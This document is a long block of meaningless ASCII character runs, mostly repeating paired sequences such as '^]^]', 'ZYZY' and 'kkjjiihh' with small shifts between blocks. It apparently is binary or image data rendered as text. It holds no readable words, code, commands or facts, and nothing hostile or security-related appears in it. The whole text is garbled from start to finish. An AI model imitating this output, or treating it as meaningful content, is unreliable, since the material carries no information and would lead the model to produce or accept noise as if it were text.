`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOOOLKLKLKLKJIJIJIJIFEFEFEFEDCBABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQOOPOPOPOLKLKLKLKJIHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPONMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - `_`_`_`_\[\[\[\[ZYZYXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - `_`_^]^]\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - ^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - ^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - ^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - ^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - ^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - ^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - ^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - ^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - ^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#       - - - - ^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - - ^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - - ^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - - ^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!     - - - - ^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - - ^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - - ^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:98787876565656521212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - - ^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?>=>=>=<;<;<;<;878787876565656521212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - - ^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEDCDCDCBABABABA>=>=>=>=<;<;<;<;878787876565656521212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - - ^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMLKJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787876565656521212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - - ^]^]^]^]\[\[\[\[XWXWXWXWVUVUTSTSRQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787876543434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - - ^]^]^]^]\[\[ZYZYXWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787874333333421212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - - ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787873434343421212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - - ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787873434343421212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - - ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSRQRQPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787873434343421212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - - ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOOOOONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787873434343421212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - - ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSOPOPOPOPNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787873434343421212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - - ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSOPOPOPOPNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787873434333321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - - ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSOPOPOPOPNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787873343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - - ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSOPOPOPOPNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - - ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSOPOPOPOPNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSOPOPOPOONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSOOOOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787873333343421212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!    ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787873434343421212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"!    ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787873434343421212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;87878787343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOOOOOOPNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;:9:9:987878787343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSOPOPOPOPNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBA@?@?@?>=>=>=>=:9:9:9:987878787343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSOPOPOPOPNMNMNMNMJIJIJIJIHGFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:987878787343333330/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSOPOPOPOPNMLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:987878787434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    iijjkkllMMNNOOUU%%&&''((00//..----..//00((''&&%%||{{zzyyjjkkqqrr66778899ssrrqqpp>>??@@AAkkjjiihhGGHHIIJJ bbaa``__mmnnooppVVWWXXYY))**++,,,,++**))~~}}11223344$$##""!!xxwwvvuussttuuvv::;;<<==oonnmmllBBCCDDEEggffeeddKKLLMMNN - - ^^]]\\[[qqrrssttZZ[[\\]]--..//00((''&&%%||{{zzyy55667788 ttssrrqqwwxxyyzz>>??@@AAkkjjiihhFFGGHHII ccbbaa``OOPPQQRRZZYYXXWWuuvvwwxx^^__``aa11223344$$##""!!xxwwvvuu99::;;<<ppoonnmm{{||}}~~BBCCDDEEggffeeddJJKKLLMM - - __^^]]\\SSTTUUVVVVUUTTSSyyzz{{||bbccddee55667788 ttssrrqq==>>??@@llkkjjiiFFGGHHII ccbbaa``NNOOPPQQ[[ZZYYXXWWXXYYZZRRQQPPOO}}~~ffgghhii99::;;<<ppoonnmmAABBCCDDhhggffeeJJKKLLMM - - __^^]]\\RRSSTTUUWWVVUUTT[[\\]]^^ - -NNMMLLKKjjkkqqrr==>>??@@llkkjjiiEEFFGGHH ddccbbaaNNOOPPQQ[[ZZYYXXVVWWXXYYSSRRQQPP__``aabb JJIIHHGGssttuuvvAABBCCDDhhggffeeIIJJKKLL - - ``__^^]]RRSSTTUUWWVVUUTTZZ[[\\]] OONNMMLLccddeeffFFEEDDCCwwxxyyzzEEFFGGHH ddccbbaaMMNNOOPP\\[[ZZYYVVWWXXYYSSRRQQPP^^__``aa - - KKJJIIHHgghhiijjBBAA@@??{{||}}~~IIJJKKLL - - ``__^^]]QQRRSSTTXXWWVVUUZZ[[\\]] OONNMMLLbbccddeeGGFFEEDDkkllmmnn>>==<<;;MMNNOOPP\\[[ZZYYUUVVWWXXTTSSRRQQ^^__``aa - - KKJJIIHHffgghhiiCCBBAA@@ooppqqrr::998877~~}}QQRRSSTTXXWWVVUUYYZZ[[\\PPOONNMMbbccddeeGGFFEEDDjjkkllmm??>>==<>==<>==rrssttuu !!77665544zz{{||}}&&''(())//..--,,yyxxwwvv//001122&&%%$$##llkkjjiieeffgghhDDCCBBAAmmnnoopp<<;;::99vvwwxxyy""##$$%%33221100~~**++,,--++**))((uuttssrr33445566""!! hhggffeeiijjkkll@@??>>==qqrrsstt 88776655zz{{||}}&&''(())//..--,,..//0011''&&%%$$qqkkjjii778899::ddccbbaammnnoopp<<;;::99uuvvwwxx!!""##$$44332211~~}}||{{~~**++,,--++**))((~~}}||22334455##""!! hhggffee;;<<==>>``__^^]]qqrrsstt 88776655yyzz{{||%%&&''((00//..--zzyyxxww..//0011''&&%%$${{zzyyxx66778899ddccbbaa~~}}||{{??@@AABB\\[[ZZYYuuvvwwxx!!""##$$44332211}}~~))**++,,,,++**))vvuuttss22334455##""!! wwvvuutt::;;<<==``__^^]]zzyyxxwwCCDDEEFFXXWWVVUUyyzz{{||%%&&''((00//..----..//00((''&&%%rrqqkkjj66778899ssrrqqpp>>??@@AA\\[[ZZYYvvuuttssGGHHIIJJ TTSSRRQQ}}~~))**++,,,,++**))~~}}11223344$$##""!!iihhggff::;;<<==oonnmmllBBCCDDEEXXWWVVUUrrqqponmKKLLMMNN - - PPOONNMM--..//00((''&&%%||{{zzyy55667788 eeddccbb~~}}||>>??@@AAkkjjiihhFFGGHHII OONNMMLLlkkjjiihOOPPQQRRLLKKJJII11223344$$##""!!xxwwvvuu99::;;<<aa``__^^{{zzyyxxBBCCDDEEggffeeddJJKKLLMM - - KKJJIIHHhggffeedSSTTUUVVHHGGFFEE55667788 ttssrrqq==>>??@@]]\\[[ZZwwvvuuttFFGGHHII ccbbaa``NNOOPPQQGGFFEEDDdccbbaa`WWXXYYZZDDCCBBAA~~}}||{{99::;;<<ppoonnmmAABBCCDDYYXXWWVVssrrqqpoJJKKLLMM - - __^^]]\\RRSSTTUUCCBBAA@@`__^^]]\[[\\]]^^ - -@@??>>==zzyyxxww==>>??@@llkkjjiiEEFFGGHH UUOONNMMnmlkkjjiNNOOPPQQ[[ZZYYXXVVWWXXYY??>>==<<\[[ZZYYX__``aabb <<;;::99vvuuttssAABBCCDDhhggffeeIIJJKKLL - - LLKKJJIIihhggffeRRSSTTUUWWVVUUTTZZ[[\\]] ;;::9933XWWVVUUTccddeeff88776655rrqqkkjj~~}}||EEFFGGHH ddccbbaaMMNNOOPPHHGGFFEEeddccbbaVVWWXXYYSSRRQQPP^^__``aa - - 221100//SRQPOONNgghhiijj44332211iihhggff{{zzyyxxIIJJKKLL - - ``__^^]]QQRRSSTTDDCCBBAAa``__^^]ZZ[[\\]] OONNMMLLbbccddee..--,,++MMLLKKJJkkllmmnn00//..--eeddccbbwwvvuuttMMNNOOPP\\[[ZZYYUUVVWWXX@@??>>==]\\[[ZZY^^__``aa - - KKJJIIHHffgghhii**))((''IIHHGGFFooppqqrr,,++**))aa``__^^ssrrqqpoQQRRSSTTXXWWVVUUYYZZ[[\\<<;;::99YXXWWVVUbbccddeeGGFFEEDDjjkkllmm&&%%$$##EEDDCCBBssttuuvv !!""((''&&%%]]\\[[ZZnmlkkjjiUUVVWWXXTTSSRRQQ]]^^__`` - - 33221100UTSRQPOOffgghhiiCCBBAA@@nnooppqq""!! AA@@??>>wwxxyyzz##$$%%&&$$##""!!YYXXWWVVihhggffeYYZZ[[\\PPOONNMMaabbccdd //..--,,NNMMLLKKjjkkllmm??>>==<>==qqrrsstt >>==<<;;zz{{||}}&&''(())//..--,,..//0011 +**))(('zzyyxxww778899:: @@??>>==UTSRQPOOmmnnoopp<<;;::99uuvvwwxx!!""##$$::998765~~**++,,--++**))((~~}}||22334455'&&%%$$#vvuuttss;;<<==>> - - <<;;::99NNMMLLKKqqrrsstt 88776655yyzz{{||%%&&''((43322110..//0011''&&%%$${{zzyyxx66778899 - - #""!! rrqqppoo??@@AABB - - 33221100JJIIHHGGuuvvwwxx!!""##$$44332211}}~~))**++,, 0//..--,~~}}||22334455##""!! wwvvuutt::;;<<== nnmmllkkCCDDEEFF //..--,,FFEEDDCCyyzz{{||%%&&''((00//..----..//00 - - ,++**))({{zzyyxx66778899ssrrqqpp>>??@@AAjjiihhggGGHHIIJJ++**))((BBAA@@??}}~~))**++,,,,++**))~~}}11223344(''&&%%$wwvvuutt::;;<<==oonnmmllBBCCDDEEffeeddccKKLLMMNN''&&%%$$>>==<<;;--..//00((''&&%%||{{zzyy55667788 - -$##""!! ssrrqqpp>>??@@AAkkjjiihhFFGGHHII  bbaa``__OOPPQQRR##""!! ::998765~~}}11223344$$##""!!xxwwvvuu99::;;<<  oonnmmllBBCCDDEEggffeeddJJKKLLMM!!""##$$ - - ^^]]\\[[SSTTUUVV 43322110||{{zzyy55667788 ttssrrqq==>>??@@kkjjiihhFFGGHHII ccbbaa``NNOOPPQQ%%&&''((ZZYYXXWWWWXXYYZZ!!""##$$0//..--,xxwwvvuu99::;;<<ppoonnmmAABBCCDDggffeeddJJKKLLMM - - __^^]]\\RRSSTTUU))**++,,VVUUTTSS[[\\]]^^%%&&''((,++**))(ttssrrqq==>>??@@llkkjjiiEEFFGGHHccbbaa``NNOOPPQQ[[ZZYYXXVVWWXXYY--..//00RRQQPPOO__``aabb))**++,, (''&&%%$ppoonnmmAABBCCDDhhggffeeIIJJKKLL !!""## - -__^^]]\\RRSSTTUUWWVVUUTTZZ[[\\]]11223399 - -NNMMLLKKccddeeff--..//00 - - - -$##""!! llkkjjiiEEFFGGHH ddccbbaaMMNNOOPP$$%%&&'' [[ZZYYXXVVWWXXYYSSRRQQPP^^__``aa::;;<<== JJIIHHGGgghhiijj11223344  hhggffeeIIJJKKLL - - ``__^^]]QQRRSSTT(())**++WWVVUUTTZZ[[\\]] OONNMMLLbbccddee>>??@@AAFFEEDDCCkkllmmnn55667788ddccbbaaMMNNOOPP\\[[ZZYYUUVVWWXX,,--..//SSRRQQPP^^__``aa - - KKJJIIHHffgghhiiBBCCDDEEBBAA@@??ooppqqrr99::;;<<``__^^]]QQRRSSTTXXWWVVUUYYZZ[[\\00112233 OONNMMLLbbccddeeGGFFEEDDjjkkllmmFFGGHHII>>==<<;;ssttuuvv==>>??@@\\[[ZZYYUUVVWWXXTTSSRRQQ]]^^__``99::;;<< - - KKJJIIHHffgghhiiCCBBAA@@nnooppqqJJKKLLMM::998877wwxxyyzzAABBCCDD !!""## - -XXWWVVUUYYZZ[[\\PPOONNMMaabbccdd==>>??@@GGFFEEDDjjkkllmm??>>==<>==<>==qqrrssttMMNNOOUU !!77665544zz{{||}}&&''(())//..--,,ccddeeff//001122&&%%$$##zzyyxxwwvvuuttssUUVVWWXX99::;;<<DDCCBBAAmmnnoopp<<;;::99uuvvwwxxVVWWXXYY""##$$%%33221100~~**++,,--++**))((~~}}||gghhiijj33445566""!! vvuuttssrrqqppooYYZZ[[\\==>>??@@@@??>>==qqrrsstt 88776655yyzz{{||ZZ[[\\]]&&''(())//..--,,..//0011''&&%%$${{zzyyxxkkqqrrss778899::rrqqppoonnmmllkk]]^^__``AABBCCDD<<;;::99uuvvwwxx!!""##$$44332211}}~~^^__``aa**++,,--++**))((~~}}||22334455##""!! wwvvuuttttuuvvww;;<<==>>nnmmllkkjjiihhggaabbccddEEFFGGHH 88776655yyzz{{||%%&&''((00//..--bbccddee..//0011''&&%%$${{zzyyxx66778899ssrrqqppxxyyzz{{??@@AABBjjiihhggffeeddcceeffgghhIIJJKKLL!!""##$$44332211}}~~))**++,,,,++**))~~}}ffgghhii22334455##""!! wwvvuutt::;;<<==oonnmmll||}}~~CCDDEEFFffeeddccbbaa``__^^]]\\[[SSTTUUVVBBAA@@??_^^]]\\[\\]]^^__ - - MMLLKKJJddeeffgg,,++**))KKJJIIHHmmnnoopp<<;;::99uuvvwwxx!!""##$$::998765~~**++,,--++**))((rrqqkkjjssrrqqppZZYYXXWWWWXXYYZZ>>==<<;;[ZZYYXXW``aabbcc IIHHGGFFhhiijjkk((''&&%%GGFFEEDDqqrrsstt 88776655yyzz{{||%%&&''((43322110..//0011''&&%%$$iihhggffoonnmmllVVUUTTSS[[\\]]^^ - -::993322WVVUUTSRddeeffggEEDDCCBBllmmnnoo$$##""!!CCBBAA@@uuvvwwxx!!""##$$44332211}}~~))**++,, 0//..--,~~}}||22334455##""!! eeddccbbkkjjiihhRRQQPPOO__``aabb 1100//..QPOONNMMhhiijjkkAA@@??>>ppqqrrss ??>>==<>??@@AAYYXXWWVV__^^]]\\FFEEDDCCkkllmmnn%%$$##""DDCCBBAAttuuvvww !!""##55443322||}}~~(())**++ 100//..-~~}}11223344$$##""!!xxwwvvuu99::;;<<  oonnmmllBBCCDDEEUUOONNMM[[ZZYYXXBBAA@@??ooppqqrr!! @@??>>==xxyyzz{{$$%%&&''1100//..,,--..// - - -,,++**)||{{zzyy55667788 ttssrrqq==>>??@@kkjjiihhFFGGHHII LLKKJJIIWWVVUUTT>>==<<;;ssttuuvv !!""<<;;::99||}}~~(())**++--,,++**~~00112233)((''&&%xxwwvvuu99::;;<<ppoonnmmAABBCCDDggffeeddJJKKLLMM - - HHGGFFEESSRRQQPP::998877wwxxyyzz##$$%%&&87654332,,--..//))((''&&}}||{{zz44556677 %$$##""!ttssrrqq==>>??@@llkkjjiiEEFFGGHHccbbaa``NNOOPPQQDDCCBBAAOONNMMLL66554433{{||}}~~''(())** 21100//.~~00112233%%$$##""yyxxwwvv8899::;; - - ! ppoonnmmAABBCCDDhhggffeeIIJJKKLL !!""## - -__^^]]\\RRSSTTUU@@??>>==KKJJIIHH221100//++,,--.. - - .--,,++*}}||{{zz44556677!! uuttssrr<<==>>??llkkjjiiEEFFGGHH ddccbbaaMMNNOOPP$$%%&&'' [[ZZYYXXVVWWXXYY<<;;::99GGFFEEDD..--,,++//001122*))((''&yyxxwwvv8899::;;qqppoonn@@AABBCChhggffeeIIJJKKLL - - ``__^^]]QQRRSSTT(())**++WWVVUUTTZZ[[\\]] 33221100CCBBAA@@**))((''~~}}||{{33445566&%%$$##"uuttssrr<<==>>??mmllkkjjDDEEFFGGddccbbaaMMNNOOPP\\[[ZZYYUUVVWWXX,,--..//SSRRQQPP^^__``aa - - //..--,,??>>==<<&&%%$$##zzyyxxww778899:: - - "!! qqppoonn@@AABBCCiihhggffHHIIJJKK !!"" ``__^^]]QQRRSSTTXXWWVVUUYYZZ[[\\00112233 OONNMMLLbbccddee++**))((;;::9988""!! vvuuttss;;<<==>> mmllkkjjDDEEFFGGeeddccbbLLMMNNOO##$$%%&& - - \\[[ZZYYUUVVWWXXTTSSRRQQ]]^^__``99::;;<< - - KKJJIIHHffgghhii''&&%%$$77665544rrqqppoo??@@AABBiihhggffHHIIJJKK - -aa``__^^PPQQRRSS''(())**XXWWVVUUYYZZ[[\\PPOONNMMaabbccdd==>>??@@GGFFEEDDjjkkllmm##""!! 33221100nnmmllkkCCDDEEFFeeddccbbLLMMNNOO ]]\\[[ZZTTUUVVWW++,,--..TTSSRRQQ]]^^__`` - - LLKKJJIIeeffgghhAABBCCDDCCBBAA@@nnooppqq//..--,,jjiihhggGGHHIIJJ !! aa``__^^PPQQRRSSYYXXWWVVXXYYZZ[[//001122PPOONNMMaabbccdd HHGGFFEEiijjkkllEEFFGGHH??>>==<>?? HHGGFFEEiijjkkll@@??>>==qqrrssttMMNNOOUU !!77665544zz{{||}}&&''(()) ##""!! - - ^^]]\\[[SSTTUUVV**++,,--UUTTSSRR\\]]^^__ - - MMLLKKJJddeeffgg@@AABBCCDDCCBBAAmmnnoopp<<;;::99uuvvwwxxVVWWXXYY""##$$%%33221100~~**++,,-- - - - -ZZYYXXWWWWXXYYZZ..//0011QQPPOONN``aabbcc IIHHGGFFhhiijjkkDDEEFFGG@@??>>==qqrrsstt 88776655yyzz{{||ZZ[[\\]]&&''(())//..--,,..//0011 VVUUTTSS[[\\]]^^223399:: - - MMLLKKJJddeeffggEEDDCCBBllmmnnooHHIIJJKK<<;;::99uuvvwwxx!!""##$$44332211}}~~^^__``aa**++,,--++**))((~~}}||22334455RRQQPPOO__``aabb;;<<==>> IIHHGGFFhhiijjkkAA@@??>>ppqqrrssLLMMNNOO 88776655yyzz{{||%%&&''((00//..--bbccddee..//0011''&&%%$${{zzyyxx66778899 - -NNMMLLKKccddeeff??@@AABBEEDDCCBBllmmnnoo==<<;;::ttuuvvwwUUVVWWXX!!""##$$44332211}}~~))**++,,,,++**))~~}}ffgghhii22334455##""!! wwvvuutt::;;<<== JJIIHHGGgghhiijjCCDDEEFFAA@@??>>ppqqrrss99887766xxyyzz{{YYZZ[[\\%%&&''((00//..----..//00((''&&%%||{{zzyyjjkkqqrr66778899ssrrqqpp>>??@@AA !!""## - - FFEEDDCCkkllmmnnGGHHIIJJ==<<;;::ttuuvvww !!""##55443322||}}~~]]^^__``))**++,,,,++**))~~}}11223344$$##""!!xxwwvvuussttuuvv::;;<<==oonnmmllBBCCDDEE$$%%&&'' - - BBAA@@??ooppqqrrKKLLMMNN99887766xxyyzz{{$$%%&&''1100//..aabbccdd--..//00((''&&%%||{{zzyy55667788 ttssrrqqwwxxyyzz>>??@@AAkkjjiihhFFGGHHII(())**++>>==<<;;ssttuuvvOOUUVVWW !!""##55443322||}}~~(())**++--,,++**~~eeffgghh11223344$$##""!!xxwwvvuu99::;;<<ppoonnmm{{||}}~~BBCCDDEEggffeeddJJKKLLMM,,--..//::998877wwxxyyzzXXYYZZ[[$$%%&&''1100//..,,--..//))((''&&}}||{{zziijjkkqq55667788 ttssrrqq==>>??@@llkkjjiiFFGGHHII ccbbaa``NNOOPPQQ00112233 !!""66554433{{||}}~~\\]]^^__(())**++--,,++**~~00112233%%$$##""yyxxwwvvrrssttuu99::;;<<ppoonnmmAABBCCDDhhggffeeJJKKLLMM - - __^^]]\\RRSSTTUU99::;;<<##$$%%&&221100//``aabbcc,,--..//))((''&&}}||{{zz44556677!! 